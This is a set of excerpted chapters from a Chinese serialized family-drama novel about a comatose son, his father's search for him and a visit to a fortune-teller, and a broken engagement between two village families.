沈莎莎那天晚上看到4618的院长小车停在小区的巷子里,又听到他和情人的对话,她知道赵院长肯定是到他给护士长租的房间里去了,就说:“你也在这里住?”
“没有,没有,刚在这儿办了点事,路过,路过。”赵院长笑着说。
沈莎莎想整天很难见到院长面,就想趁这机会说说自己定岗的事。
赵院长嗯啊边答应着边不停向前走。
沈莎莎就跟着赵院长后面不停地诉着苦,说自己身体不适应,说其它科室不熟悉等各种理由,就是想让院长把自己定岗在产二科。
赵院长急着走就说,暂时轮流,暂时轮流,到时候再说吧。就匆匆忙忙出了小区。
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第9章 父要照顾昏迷儿,只怕他日难见面
吴之玄趁着到市上的机会顺便到医院里去看望张国栋。
当他快到重症监护室门口时,发现岳父竟和两个女儿在一起!
太不可思议了!
自己正准备刊登寻人启事的被寻人员就在眼前!
吴之玄大为不解?
“你咋到这里的?”
“那你三个的意思是,我不找到这,这事就一直瞒下去?”岳父坐在外面的椅子上。
看着满脸花白胡须,疲惫不堪的岳父,吴之玄心里一阵伤感。
老人的精神状态足以说明老人肯定付出了不少辛苦。
吴之玄坐在岳父身边:“我没有告诉你也是怕你担心。”
“这么大的事,我梦里都有预感,就是担心。其实没找到之前还担心,现在见了他反而安心了。”岳父平静的说着。
看到平静的岳父,吴之玄又看了看国宁和国静,三人的同盟共守此时都已经成为多余的承诺。
吴之玄通过和岳父坐在椅子上谈话,对岳父的精神颇为佩服。
张老头在县医院得知自己的住院费被提前预缴后,心中不悦。
在自己的感觉中,食物中毒完全就不是个病,自己除了刚洗完胃后的上厕所多,现在没有任何不适。
下午挂完针在县医院上下转了个遍,也没问出个啥名堂。
要说这张老头还是蛮有办法的。
他直接去找缴费处要求把多缴的钱退回来。
缴费处说你让医生开出院手续来,张老头快到医生办的时候,突然觉着万一医生不让出院就困难了。
他想了想,停止了脚步。
他在焦急和等待中到了第二天一大早。
医生刚上班,张老头直接进了办公室。
主治医吓一跳:“你要干嘛?”
张老头没吭声,直接从口袋掏出几百元钱塞进医生办公室的抽屉:“你给我办出院手续,我家里老娘马上要去世,一直要见我,我得出院。”
医生向外看了一眼,又看着他:“你疯了,你这是在害我。”
说着要拉抽屉。
张老头立马用手拦住:“我妈一直催我回,你现在行行好,给我一办,也就是在挽救我老母亲。”
医生犹豫了一下:“那你先回,完了再来补办。”
医生边换衣服边说。
“哎呀,我的大夫大人,我娘如果走了,我还有时间来吗?况且上次我准备好好住,缴得多,急用钱哩。”张老头看着医生。
医生坐在办公桌前,问着张老头的名字,在一打病历中找着。
张老头报了姓名,医生找出病历看了看:“三天了,也该没事了。”
就这样张老头领回了所有余下的医疗费。
有钱能使鬼推磨!
张老头拿着钱直接到车站买了去市里的班车票。
在车上他打听到市里目前有五家医院,人民医院、第二医院、二O二医院、中医院和儿童医院。
到了市里,他首先排除了儿童医院和二0二医院,一个看儿童,一个算高干才能去的军队医院,剩下的的这三家他计划用六天时间问完。
功夫不负有心人
得来全不费工夫
张老头来的第一站就是人民医院,在他的认知中,不论人民医院收费高低,应该是普通老百姓看病就医的首选医院。
市人民医院的重症监护室也是刚新建成的,它在市医院紧贴大门的西边有一个钢构的五层楼,非常显眼,任何进医院门的患者都会有意
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识地看上几眼。
张老头也一样,刚进门就看到右手的重症监护室的五层楼。
看到有人在等电梯,他也站着等。
他的想法是不管这里是什么科室,先从门口开始,再往后面逐楼寻找。
在这里,他计划上到最高层五楼,然后从五楼沿楼梯往下走,逐层询问。
出了电梯,到了五楼,张老头看见这上面没有几个人,一个穿着粉白色制服的护士问:“叔,你有什么需要帮助?”
张老头说:“我想找个人。”
“什么人?”
“你这儿是不是住着一个叫张国栋的人?”
“叔,他是做美容美颜的女的吗?”
张老汉一愣,“什么美容美颜?他是个男的。”
护士微笑着:“叔,我们这儿目前没有你说的这个人,抱歉。”
张老头说:“我能不能挨每个病房问一问?”
护士笑了:“叔,如果你说的这个人是在我们这里做手术治疗的话,那我肯定会告诉你。真没有。目前我们病房也没几个病人住院,病房也没病人。”
张老头听了没吭声,他在医生办公室和住院部在一块的走廊转了一圈,病房没有一个人。
张老头走到楼梯口,护士说:“您慢走。”
来到四楼,眼科看起来和五楼差别很大,人是特别的多。
张老头直接找到护士站,他发现每个护士都忙得没闲暇,过了一会,他看见一个护士坐在桌前写什么就凑了过去。
“大夫,我想问一下这里有没有个叫张国栋的病人。”
护士连头都没抬继续写着东西:“你没看到我
忙着”。
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第9章 儿子睁眼全家喜,父亲行为令人疑
护士长趴在重症监护室门上的小窗户大喊,张囯栋的家属!张国栋的家属!
正在外面说话的四个人赶紧拥到门口。
“你们中间进个人,张国栋睁开眼了,只能进一个人。”
说完,护士长开了门。
张老头直接进去了,国宁要进却被护士长拦在了门外。
张老头急急忙忙走到儿子的床前,老远就看见儿子的眼睛已睁开,痴呆呆望着天花板。
到了床前,张老头喊了一下,国栋。
张国栋没有任何反应,死盯着天花板,眼珠子几乎就不动。
旁边的护士长说“张国栋,听着,你家人来看你了,能听见就看看他。”
张老头和护士长等着张国栋的反应,但他没有任何表示。
“眼睛睁开说明人在逐步清醒,过几天估计是有所意识的。”护士长边说边看着吊在床边的尿袋。
“人没吃多少饭,你看尿颜色没以前红了,说明体内炎症正在消除。”
张老头俯下身子趴在儿子耳朵跟前大声说:“囯栋,你能听到我说话吗?”
只眨眼的国栋眼珠子突然左右动了一下,又闭上眼睛。
“他眼睛动了一下,我看到了。”张老头高兴的对护士长说。
“我也看到了,是动了。”护士长笑着说:“二十七天了,终于睁眼了。”
说完护士长忙去了。
张老头坐在儿子的床边,慈爱的望着儿子的脸。
消瘦微黄的脸庞似乎被刀削了一样,几乎全是劝骨,以至于人看到的第一眼真有点害怕。
望着闭眼而睡的儿子,看到他均匀的呼吸着,张老头暗想,这该不会是老天爷对儿子所做的那件事的报应吧?
村里一邻居少年时家庭贫困,后来把挨门乞讨的一四川籍女子收留当做媳妇。
那女子到他家后,生了两男两女。
可能是四川那地方水土好,四个孩子个个皮肤白净细腻,给人感觉总是眼前一亮。
最小的女儿莺蕊和自己的儿子同一年出生,长得很是水灵,人见人爱。
儿子十六岁那年在家里人农忙时干了一件让张老头永远觉得丢脸的丑事。
自己在地里割麦,镰把断了,张老头就回家准备换一把镰。
回到家,看到大开的头门,张老头就暗骂儿子不操心,全家人都在地里辛苦着,让你在家看个门,你都不管,真惯坏了。
肯定没起床!我把他叫起来。
张老头暗骂着便顺推开了儿子的门,正准备喊他起床,却看到了一幕令他震惊的事。
站在房间里的儿子国栋正从身后抱着一女孩!
张老头的推门声惊动了两个人迅速分开并向门口看来。
张老头赶紧退了出来骂了声:“你狗日的张国栋。”就站在院子气喘吁吁:“你个不学好的东西!”
骂归骂,反正年少无知的儿子正在干着不是他这个年龄段该干的事。
我咋要了这样一个不成器的东西,羞了先人咧!
张老头暗自骂着自己。
想当初,为生国栋,妻子产后大出血,总算保住了母子俩的性命。
可怜的妻子却在儿子十一岁时因肺病离世,国瑛就负责照顾着国栋。
幸亏国瑛学习好,中专一毕业就被分配到县中学当教师。
为了能让弟弟也能和自己一样考学分配,国瑛真是倾尽全力照顾弟弟。
可这个不学好的
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弟弟却不好好上学,白天看起来背着书包到学校去念书了,实际根本没有去学校,一直钻在县上唯一的录像厅里。
对弟弟持怀疑态度的国瑛还是把国栋堵在了录像厅的门口,谁料在给弟弟做思想工作的路上竟因弟弟顺手一推而丢了性命。
原来国瑛有时也人会在父亲面前抱怨父亲对弟弟的放任自流,父亲总觉得男孩子小时都调皮,长大了就乖了。
没想到自己的疏于管教加上国瑛的突然离世,让这个整天沉迷在录像中的儿子是如此的令人三观大毁!
站在院子里的张老头不知所措。
这种事情咋处理?
如果是别的女孩子,那就按谈个恋爱、耍个男女朋友而已,而从房间里出来的不是别人别村的女孩。
她正是邻居家的女儿,莺蕊!
按村里的辈份,儿子也该把莺蕊叫姑婆。
起初张老头并不知道那个女的就是莺蕊。
站在院子里的张老头见没人出房门,自己也考虑到两个人的尴尬,便进了自己的房间。
进了房间里,张老头气呼呼地站在窗里往外望。
儿子可能听不到院子的骂声了,蹑脚蹑手的探出头朝院子看了看,确认无人后朝里面一挥手,莺蕊从房间里出来了。
看到是莺蕊,张老头惊愕了,竟然是邻居家的女儿,按辈分自己还叫姑哩!
踢脸丧德!丢人现眼!
张老头在惊讶的同时看见莺蕊已走到院中间。
“莺蕊。”
张老头在房间里叫了一声她的名字,顺便出现在莺蕊面前。
莺蕊吓得大叫一声,跳了起来。
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读!
第9章 父亲心急盼儿好,虔诚费心保平安
岳父张老头下车的时候,突然回过头来,趴在车窗前对吴之玄说:
“你刚开车,我没有说,我现在就告诉你,我怀疑咱这庄宅不干干净,需要请高人来安顿一下。”
说完,头也不回地开门进了屋。
坐在车上的吴之玄觉着头皮一阵发麻。
在这寂寞荒凉的村庄,在这伸手不见五指的夜晚,岳父竟讲出如此令人毛骨悚然的话,对生性对鬼神论就避讳的吴之玄无疑是一种精神负担。
吴之玄要一个人独自驾车从这荒凉寂静的村庄走出,想想都可怕。
我吴之玄有什么可怕的,一不偷,二不抢,没做亏心事,不怕鬼敲门,想想自己前几年也不是一个人开着车全国各地跑,什么地方没去过,什么神鬼都不怕!
现在随着经历的生死之事,忽然对生命有了一种敬畏。
冥冥之中,他对岳父的话也产生了一种信任。
当他开着车从这荒凉的村庄往外走时,汽车灯所照到的地方都是他放心的地方,而那灯光之外看不到的地方或许有许多的野鬼孤魂在虎视眈眈望着自己,这里面有患病的岳母、有意外的妻子、也许还有被郭春莎捅死的那个男的。
吴之玄感到一阵恐怖,他打开汽车的收音机把音量放到最大。
好不容易上了公路,吴之玄的心终于放了下来,他用力踩着油门,想极力逃离这令人生畏的村庄。
第二天早上天还没亮,张老头就骑着自行车行驶在乡村小路上。他要到十里开外的村庄找一个人。
谁?
在周围各村颇有名气的范半仙。
张老头之所以突然决定找范半仙,就是听人所说的这个人能掐会算,给人能指点迷津,最关键的是他一说一个准。
张老头想起邻居曾经讲过的一件事。
邻居的女儿在外地一直做药品生意,积累了大量的财富,可前年突然觉得膝盖难受,走路困难,后来根本打不了弯。
实在没办法就在各大医院进行检查治疗,结果病情非但没减,反而更加严重,甚至于连走路都走不了了,整天只能坐在轮椅上活动。
邻居的女儿本身就是个闲不住的人,轮椅完全限制了自己的活动,整天以泪洗面,心事重重。
虽然在医院里花了不少钱,但就是没有任何效果。
在家的母亲也整天愁得吃不好,睡不着。
女儿还不到四十岁就这么一直在轮椅上度过后半生吗?
女儿的母亲听说十里开外的范半仙名气很大,就和老伴找到范半仙。
范半仙问了女儿的生日后,闭上眼睛,用指头掐算着,然后睁开眼睛说:“女儿是个有钱人,能挣钱来没处花,身染疾病散财去,根源却在娘家石。
你门口左首是不是有块大青石?”
得到肯定后,范半仙拿出一张纸,让女子母亲写了一个字。
半仙拿着字看了看:“你女儿结婚的前夜,穿高跟鞋在门口绊了一下,右腿磕到你门口的青石上了,还流血了,你没人留意青石上的血,这血罩住了青龙一只眼,前年是龙年,青龙在提醒要把自己的眼前弄干净,你想一想,你女儿腿疼就是她结婚日的前一天。”
女子母亲努力回忆着,她也许那天太忙,没留意女儿受伤情况,只知道结婚是农历的四月十八。
“那你看咋能让女子好起来?”女子母亲虔诚的问。
范半仙又闭上眼睛,用手在掐算着说:“我一会给你写个符,你
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放心,今年春节初四以前肯定不用轮椅了,就跟正常人一样了。”
结果范半仙给女子母亲如此如此交待一番。
回到家,女子母亲用朱砂给门口的青石上撒了撒,又在门口烧了几张纸,没想到春节期间,女儿一家三口竟专门开车回到娘家,女儿一切正常。
女儿为表示对范半仙的感激,专门捐款在范半仙的村子修了座庙,供香火客进香。
范半仙因此名声鹊起,四处传说。
张老头就是冲着范半仙的名声而去的。
他想知道的是,自己的儿子张国栋什么时候可以苏醒?
张老头来到了范半仙的家,好家伙!原以为自己来的早,没想到还有比自己来的更早的人,排了好长的队。而且还要领号,按号码顺序进入。
他在门口领了号静等叫号。
在等待的过程中,他又听到许多关于范半仙的传闻,什么谁家的人不行了医院让把人拉回,结果家人来的这里通过范半仙的一番操作,病人到现在活的好好的。
还有一个更是危言耸听,说的是一对结婚多年的夫妻一直不生育,到处跑着看就是没有效果,没办法了来到半仙这里,半仙又是一番操作,结果那对夫妻竟然生了一对双胞胎。真是神了!
排号叫到了张老头了。
张老头是第一次见范半仙,没想到他的头上没有一根头发,长相如同女人一般,可能是老天爷的保佑,他看起来和弥勒佛一样慈眉善目。
张老头按照他的指引,先跪地给大堂上的佛祖磕三个头,然后报出孩子的生辰八字,范半仙就闭上眼睛,用手掐算着。
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第10章 礼金退不回,两家皆心病
躺在病床上的晓雅父亲问:“今天能出院吗?”
晓雅母亲说:“才住了几天,就要出院,不要命了。”
“这里每天需花多少钱?”
“都是武缴的,我也不知道。”
“我没啥感觉,今天针打完就回。这里太费钱了。”
晓雅母亲没吭声,她也知道家里这几年经济情况太差了,把晓雅订婚的礼金都贴进去了。
想到这里,晓雅母亲一阵难受。
当初自己不想让丈夫和人合着做苹果生意,但当时的行情真的是太好了,丈夫再三给她做工作。
她同意了,结果到了五一后,存在果窖里的苹果坏得太多,行情大跌,眼看着钱变成一堆废水。
没办法了,只好忍痛割爱,比收购价低2角,总算把库存处理完了。
一算账,两人一共亏了3万多元。
这下倒好,把晓雅的彩礼赔得几乎没剩多少。
庆幸的是晓雅并没有追究彩礼之事。
也并不是晓雅不追究,而是年少无知的晓雅根本没有意识到彩礼的重要性。
晓雅从群英招待所匆匆忙忙赶回家,自己是如何到家的自己都不知道。
她只知道自己在路上一直憎恨自己,现在已经是有夫之妇,孩子的妈妈,竟背着丈夫和孩子偷偷跑出去会初恋。
约会本不该,问题的严重性是自己还把初恋男友的初次要给了自己。
这是多么肮脏而又不耻的事啊!
何晓雅心里发虚,提心吊胆回了屋。
打开房间门,孩子和老公正在呼呼大睡。
晓雅放心了,至少老公不会发现她不自然的表情。
正在收拾着孩子的衣服,老公醒了,看见忙碌的晓雅就问:“你把事办完了?”
心里有鬼的晓雅被老公的问话吓了一跳。
她转过身笑了笑;“看样子你看娃还是个好爸爸。”
晓雅没有正面回答老公的问题。
老公从从床上爬起来,看了一下表:“好爸爸的职责只能到这了,该走了。”
老公张国庆走后,晓雅心里轻松了下来。
支书儿子的固执万一再找自己怎么办?
应该不会了,因为自己把话已给他了,桥归桥,路归路,从今天开始俩人将变成陌生的熟悉人。
想到这儿,晓雅放心了。
曾经的一切都一去不复返。
旧情再难忘,却不能再复燃!
何晓雅告诉自己,我已是有孩子的人了,也有爱我的丈夫,人生道路已开启,忘掉支书儿子!
那只不过是一段付出真情的感情经历。
“晓雅,我可以上去吗?”
正在二楼楼道做饭的晓雅听到了熟悉的声音。
她一惊,这声音肯定是支书儿子。
我不是刚从他住的招待所回来没多久吗,他咋来了?
晓雅转头朝下看到站在院子里的支书儿子,脸一下红了:“你咋来了?”
仰望着晓雅的支书儿子边看晓雅边向楼梯踏步走来。
晓雅的心里突然乱七八糟。
她急忙关了煤气灶的火,伫在那里。
支书儿子来了是让进房间里还是站在楼道?
无论进房间还是站楼道,在家的住户肯定都知道,自己和一男子在一起待过。
孩子从房间里出来了,要妈妈抱。
晓雅一把抱起孩子,孩子盯着已站在晓雅面前的支书儿子。
“你?”晓雅不知道说啥。
支书儿子笑着从口袋里掏出几颗糖
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,摊在手掌,对孩子说:“小家伙,真可爱,吃糖。”
看到陌生人的糖,孩子不敢接,直愣愣盯着支书儿子。
“叫叔叔。”晓雅跟孩子说。
孩子并没有马上叫,而是把头扭过去,趴在晓雅的肩膀上。
“在这说还是进房间?”支书儿子问。
“你胆子大的很,不怕我x回来了?”晓雅望着楼下小声说。
她知道,这会儿二楼没人。
房间里乱七八糟的,晓雅和支书儿子进了房间里。
晓雅心里很紧张,她总担心国庆突然回来。
她心神不宁地给支书儿子找坐的东西。
平时不来人,一但来人了,连个坐的凳子都没有。
“不忙活了,说几句话就走。”支书儿子笑着,顺便看着房间里:“蛮干净。”
晓雅抱着孩子问:“有啥话快问,我害怕。”
“害怕啥?我们又不是做贼。”支书儿子很自然的说着。
“你啥时候回?”晓雅问。
“得到了你答复就回。”支书儿子深情地望着晓雅。
晓雅红着脸:“你别在在我这儿耽误你了,赶紧走。咱们不可能了。”
“不可能是为什么?”
“我已经和他都有孩子了,不可能再跟你在一起了。”
“那你这就委屈自己一辈子?”
晓雅愣了一下。
“委屈?一辈子?”
“对!人一生只有和心爱的人在一起才会幸福。”支书儿子小声说着。
“你不要再给我做工作了,快回吧。在招
待所不是告诉你了,桥归桥路归路,从现在开始咱们就是互不认识的人了。”
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第10章 未婚先孕必放弃,退还礼金惹事起
支书儿子回来一个多礼拜了,这天,支书儿子到县城去办事,支书女儿回到娘家。
全家人吃饭时,支书女儿试探性地问支书:“爸,你没看军良今年能结婚不?”
支书看了一眼女儿:“肯定要结啊,咱啥都是现成的,女方一但回家,咱就订日子。”
“你军良和谁结?”
“这话问的挺怪的,难不成何家女子不跟军良了?”支书有点诧异。
“你军良到市里去见那女子了没?”
“见了,就是回来情绪低落,你爸又不让问。”支书妻子回复着。
“不是我不让你问,我的意思是缓几天,年轻人在恋爱期间的情绪变化也是很正常的,等等,最好让他自己说出来吧。”支书喝了一口酒。
“你再等等,军良可真没媳妇可娶了。”女儿说着看着父母。
支书和妻子相互看了一眼,不明就里。
妻子忙问:“你是听到什么风声了?”
女儿看了一眼父亲:“听着那女子都和别人有娃了。”
“谁说的?胡说八道!”支书生气的说。
妻子说:“你不要下结论,让娃说说是咋回事?”
支书女儿讲了起来。
和我老公关系好的邻村同学俩口都在何晓雅所在的纺织厂上班。
上次他同学俩口回来,顺便到我家来了。
在吃饭过程中,我俩才知道他同学俩口和何家那女娃在一个厂里上班。
我老公并没有说明军良和何晓雅的关系,只是附近村也有人在那里上班,从侧面了解了何晓雅的现在状况。
同学他妻子说,那个何晓雅其实在厂里表现蛮不错,就是因婚姻似乎和家里闹翻了,要跟现在的老公结婚。
结果父母不同意,那女子死心塌地的跟现在老公生了孩子,孩子生了,婆婆只来了不到一月便回老家了,娘家妈根本就没来。
没办法了,给厂里请了假带孩子,谁知超假了,被厂里除名了,现在好像自己在外面搞修裤边之类的事。
我在一旁急忙问:“你确定生孩子了?”
同学爱人说:“年龄不大,生孩了,当时大家还感到不可能,但在外面饭店给娃办满月宴,厂里几个好姐妹都去了。”
我听到了这话,知道你军良已没戏了,你还说我胡说。
支书女儿埋怨着父亲:“你光知道忙村里的事,把你娃的事根本就没上过心。”
支书没吭声,又喝了一口酒,看着妻子:“那军良这事看起来真没戏了?”
妻子责怪道:“你还以为兔子卧在窝里吗?你也太自信了,让你问娃哩,你总让等,这下咋办?”
支书突然从椅子上站起身,从旁边的柜子里拿出一包烟拆开,抽出一根烟,点了起来:“这事我太自信了,人丢大了。”
“人真丢大了,哥。”支书妹夫从大门进来了:“我知道我哥说啥事。”
妹夫进门后,支书发了一根烟。
妹夫接过烟和其他人打招呼着。
姑父坐在椅子上看了看支书妻子一眼,又看了看支书:“昨天何家派人到我家找我去了,让我来说说军良的事来了。”
支书妻子忙问:“是不是订结婚的日子?”
姑父吸了一口烟:“我哥刚说人都丢大了,你还想结婚?咋说?反正不是嫂子希望的那样。”
支书妻子忙问:“那不会是想…”
支书妻子忽然不说了,她把头转向支书:“说你整天不操
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心,这下好了,按我分析的话来了没,真不知何家咋做出这么缺德的事!”
“缺德?”姑父不解的问:“把退婚说成德,也用词太过了。”
姑父变相说出了何家的意思。
“咋不叫缺德,你女子和别的男人都生娃了,到现在才跑来说退婚,明显在辱没我们哩。”支书妻子生气了。
“你从哪儿听到你这些?你见人家孩子了?”姑父问:“再退婚咱也不能对人家女孩乱扣帽子。”
“乱扣帽子,娃都两岁多了,我给谁扣帽子?”支书妻子声音更大了。
支书在一旁对妹夫说:“目前好像是有这么一回事,那咱就要考虑咱的事了。”
“军良人呢?”姑夫问:“娃干啥去了?”
“早上到县上办事去了。”支书给妹夫说着。
“那何家来人咋没说这话?”妹夫还在质疑。
支书瞟了妹夫一眼:“你都是明白人哩,何家想退婚敢说自己女儿生孩子了?那父母是驴把脑瓜踢了。”
妹夫也有点生气了:“这么说的话,那他何家就不地道了,原本我还想让两个孩子再接触接触,如果是这情况,那咱就得有条件。”
支书在一旁说:“看起来这老实本分的老何头这次还把我家给耍了,咱这事太窝囊了。”
一家人正在围绕这事如何解决想办法,军良推着自行车回来了。
打过招呼后,支书妻子把饭端出来让儿子吃。
儿子狼吞虎咽、三下五除二把饭趴拉完了。
看到儿子的吃相,支书心想,这家伙可能是心结解开了就问:“你姑父今天来问你到市上见没见何家那女娃?”
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第10章 丈夫毖命自受辱,父亡女儿不知情
晓雅的姑父把吕家的退婚条件说给晓雅父亲时,晓雅父亲大吃一惊。
“这条件不是为难人吗?”
晓雅姑父面带难色:“对方口气相当硬,我看这个事难办!”
“我知道这事难办,才低头主动找男方谈的,没想他得寸进尺。”
“那咱把礼钱先退,至于说什么摆席道歉我再沟通,能不摆就不摆?”
晓雅父亲哼了一声:“摆席就是给村里人说我们在赔礼道歉,那是故意让我丢人现眼哩。晓雅这不成器的女子咋惹这事。”
“先把人家的礼钱退回,再说?”姑父提出方案。
“这样也行,起码能看到咱有个认错的态度。”
晓雅父母到处筹钱,准备先把男方的礼金退回再说。
可自己贩苹果把礼金亏了一部分,不够人家的礼金。
该借的都借了,不够的那一部分该在哪想办法呢?
妻子提议到隔壁何东明的老婆婉莹跟前借些,她原来走街串巷卖过油茶,应该有钱。
说到婉莹,晓雅父亲就想起她的丈夫何东明。
何东明能娶到六儿,也是自己的勇敢和年轻。
大队觉得单身的何东明会武术,就把他安排在大队的联防队。
虽然他个头不高,但身体敏捷,做任何事干脆麻利。
何东明就这样整天跟着公社的工作人员东奔西跑,还给自己跑来了H村地主的千金。
那是在H村的一次拆除活动中,H村的地主家的大房被拆除,拆下的木料全部被拉运至公社。
何东明被安排到现场留守。
H村的地主和小老婆被隔离在大队院里。
地主为保全唯一的女儿六儿就把她藏在自家的地窖里。
何东明没事转到后院发现地窖口,就想着在里面找些值钱的东西。
都说何东明胆子大,可那一次还真把他吓得真尿裤子了。
他掀起地窖口的磨盘,往下看了看,黑咕隆咚,蛮害怕的。
他跑到厨房去,拿了火柴,把围裙缠在一根木棍上,找到菜油,浇到围裙上,点燃当火把用。
他举着火把下了地窖,当走完最后一个台阶后,一个女人的尖叫声突然击破宁静。
何东明被这一刺耳的尖叫声吓得半死。
“有鬼呀!有鬼呀!”
他扔掉火把,转身就往上爬。
可今天的腿好像灌了铅一般,就是动不了。
那个声音没有了,一片寂静。
何东明觉得不知什么时候裤裆里湿漉漉。
意识到湿漉漉,才感到两腿发凉。
“我给你金镯子,不要伤害我。”一个女人小声哭泣着。
何东明一阵迷糊,难不成里面有人?
“你是谁?”何东明寻声而问。
“我是六儿,你是谁?”
听到这话,看到掉在地上还在燃烧的火把,何东明捡起火把,大胆向里面走去。
“你别管我是谁。谁给我金手镯我就认谁。”
何东明边走边说。
他这才看到这地窖里面原来是用砖砌成的,地面也铺着砖,在中间有两处光亮。
他到跟前一看,原来是两个通风口。
难怪乎这里面一点也不潮湿。
他看到了绻在一旁的六儿,手里还拿着一把菜刀,一双大眼睛惊恐地盯着他,手里的刀明显在抖动。
何东明被六儿那双大眼睛吸引住了,那一闪一闪的眼睫毛是那么的长,那么的好看。<
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p> 要是把她给自己娶成媳妇,就算自己烧高香了。
娶到家,她的金货银货就是我的了。
对,今晚把她带回家!
平时骄横残忍的何东明今天却显得与平时不同。
看到六儿的神态,何东明笑了:“妈啊,你吓死我了。你看你,别怕,有话好好说。”
六儿拿着刀扶着墙站了起来:“你别过来,小心我砍你。”
何东明突然感到自己湿漉漉的裤腿发凉,意识到自己不能过去,万一让她闻到自己的满身尿骚味就把人丢大了。
想到这儿,何东明对六儿说:“我不过去,我这就走,这就走。”
何东明走了两步,突然回过头来对她说:“你先不要出去,外面都是公社的人,他们走了我跟你说。”
出了地窖,何东明都不知道自己为什么要给地主的千金说那些话。
转运木料的马车还没来,何东明就在财主家胡翻一起,给自己找了条裤子换了,顺便把自己的裤衩和裤子直接扔在财主的马槽子里了。
他正给自己包着地主的几件衣服准备带走,马车回来了。
七八个人装完木料后说:“今天拉不完了,明天再拉。”
木料没有运完,为防止地丢失,大队安排民兵把守地主家前后门。
就在大队安排民兵人选的时候,何东明赶紧下到地窖拉着六儿要出去。
六儿死活不依,说是一定要等着见到爹爹。
何东明怕她再啰嗦,一下夺下手中刀,将她打昏,扛着出了地窖。
他把六儿放到早已准备好的独轮车上,推离开地主家门口,放到胡同口,又跑
到地主家门前和派来的民兵交了班。
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第10章 帮忙帮到丈夫丢,听话儿子被带走
晓雅娘家门口来了两辆警车停了下来。
刚从地里回到家的晓雅父亲出了门。
有什么事还把警察惊动了?
咱没做亏心事,不怕鬼敲门。
先看看再说。
村长从车上下来了,后面陆续有身着警服的四个人也下车了。
村长直接和那四个警察进了隔壁何东明的家。
说隔壁是何东明的家,他只不过是房主罢了,他已经近十年时间不在家里住了。
家里现在只剩下老婆和两个儿子。
何东明为啥有家不住呢?
还不是自掘坟墓!
在村里人的眼中,何东明完全是一个丢全村何家人的脸的异类。
何东明的父母早年去世,姐姐嫁人,因连生四个女儿被瞧不起,跳井自杀。
哥哥在山里干活时被狼袭击而难见尸首。
从小一直喜欢舞枪弄剑的何东哲遇到了一位高人。
谁?
大队里种了大面积的西瓜,队上找来了一位务做西瓜的山东人,大家叫他瓜客。
这位瓜客可真是不得了,打得一手好拳,功夫了得。
何东哲一直听说瓜客有武功,对于喜欢耍枪弄棒的他还是很有吸引力的。
这天,何东明拜瓜客为师傅,开始学习武术。
三年后,瓜客师傅回山东老家,师徒两人依依不舍。
何东明因武功在身,被大队安排在村联防办夜间巡逻,确保村民的安全。
那年夜里,因误伤公社干部而离开村联防办。
从那以后,何东明就回到生产小队开始参加劳动。
在一次平整土地的劳动中,从坝上传来了呼救声。
“快救人,有人落水了。”
何东明扔下工具第一个跑到坝上,衣服都顾不上脱,一个猛子跳进坝水中。
何东明终于拖着落水的人往坝岸游来。
大家七手八脚地把何东明和落水者拉到坝岸。
何东明大口喘着气,用手不停地抹着脸上的水。
队长来了,看到救上的人,是个女人。
几个妇女正在帮助那个落水者按压胸口。
那落水人突然口里吐出水,胸部起伏不定喘着气。
看到这情景,在场的人都松了一口气。
当时正值秋天,看到湿漉漉的何东明和落水女,队长安排拖拉机手把何东明先送到村医疗站,换身衣服检查一下,下午不用上工。
那个落水的女人没人认识。
等那女的缓过来点后,队长让几个女的把她扶到一旁,找了几个人的外套给披上。
“你是哪个村的?”
那女人有气无力地说:“要饭的。”
女人一说话,大家马上意识到她不是本地人,口音不对。
队长问:“你和谁来的?”
那女的没吭声,竖起食指。
“你一个人,为什么到这里?”
“要饭。”
要饭?
又是一个乞讨的。
队长心里咯噔一下。
咋了?
这是这个月第四个要饭的人。
队长搞不明白为什么这些要饭的都朝这里跑?
咋弄?
总不能见死不救!
队长安排几个女的先把人领回到队上,凑一身衣服换了。
吃了饭就打发走了去。
何东明在家正铲院里的土,头门掀开了。
“这是何东明家不?”一个女人站在门口问。
由于口音太重,何东明没听懂什么意思。
他放下工具走了出来。
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“你干啥哩?”
“你就是何东明?”那女的惊喜的问。
“你要干啥?”何东明不晓其意。
“你就是我的救命恩人,可找到你了。”那女的说着就进了门,跪在地上给何东明磕头。
何东明不太听懂她的话,但从行动上明白了她的意思是来感谢他的。
救命恩人?
何东明这才想起来早上大坝上救人的事。
他急忙把那女的扶起来说:“没事,没事,没必要这样。”
那女的起身后,何东明才发现是个漂亮女人,满脸是泪,皮肤比村里的女人都白净些。
那女人自己找了个马扎坐了下来,说着一些何东明似懂非懂的话。
何东明心在干活上,准备应付一下就进上屋干活。
但那个女的仍然没有走的意思。
沟通太难,语言双方都很难听懂。
何东明忽然想起来村里的老四婆好像口音和这女的差不多,就要把那女的领到孤单的老四婆那里去。
老四婆今年有七十多岁,丈夫去世,一直未生育,现在孤身一人。
那女的极不情愿的跟着何东明来到老四婆家,结果两个人一沟通,都是一个地方的人,话就多了起来。
看到两人谈得非常投机,何东明就走了。
吃完晚饭,老四婆来到何东明家。
她的意思是看单身的东明能不能收留那个女的给自己当媳妇?
喜从天降!
何东明从来没想到世上竟有这样的
好事,真是好人有好报。
“那人家愿意吗?”何东明担心的问老四婆。
“不愿意能让我来这里问你?”老四婆笑着说:“人家专门让我来问你的意思的。”
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第10章 负气女儿显担当,退婚条件有变化
何晓雅做梦都没到,父母亲竟然站在自己面前很久了,一直在关注着忙碌的她。
晓雅也是不经意间抬头,才看到站在自己面前的父母的。
瞬间的凝固,无人言语。
“你们咋寻到这地方来的?”晓雅惊讶的问。
“只要你不出国,我随时都会找到你。”父亲的话让晓雅心里觉得不舒服。
“你就不会少说几句!”母亲埋怨着丈夫,她问晓雅:“娃呢?”细心的母亲最理解当母亲的牵挂。
晓雅急忙把缝纫机旁的一块大布掀开。
父母惊呆了。
大布下面盖的是手推车,孩子正在手推车里呼呼大睡。
心疼外孙的姥姥赶紧把孩子从车里抱起。
“你就这样带娃哩,脊背湿完了。”母亲说着,顺便抖落着孩子的上衣。
“怕把娃哂伤,就用布罩着。”晓雅解释着,心里一阵内疚,孩子一直在跟着自己受苦啊。
看到心不在焉,手忙脚乱的女儿在收拾着板子上的衣服,父亲说:“好了,你不要收拾了,继续摆着,让你妈陪你看娃,我去转转。”
“我这马上就完了,今天也没多少活,收拾空咱就回。”晓雅急切的说。
“也不急这一会儿,我转转就来。”
父亲说完,头也不回就走了。
何晓雅呆呆地看着走向远方的父亲,时间仿佛在这一刻凝固了。
三年了,她与父亲因为婚事而断绝了来往,如今再相见,场面异常尴尬。
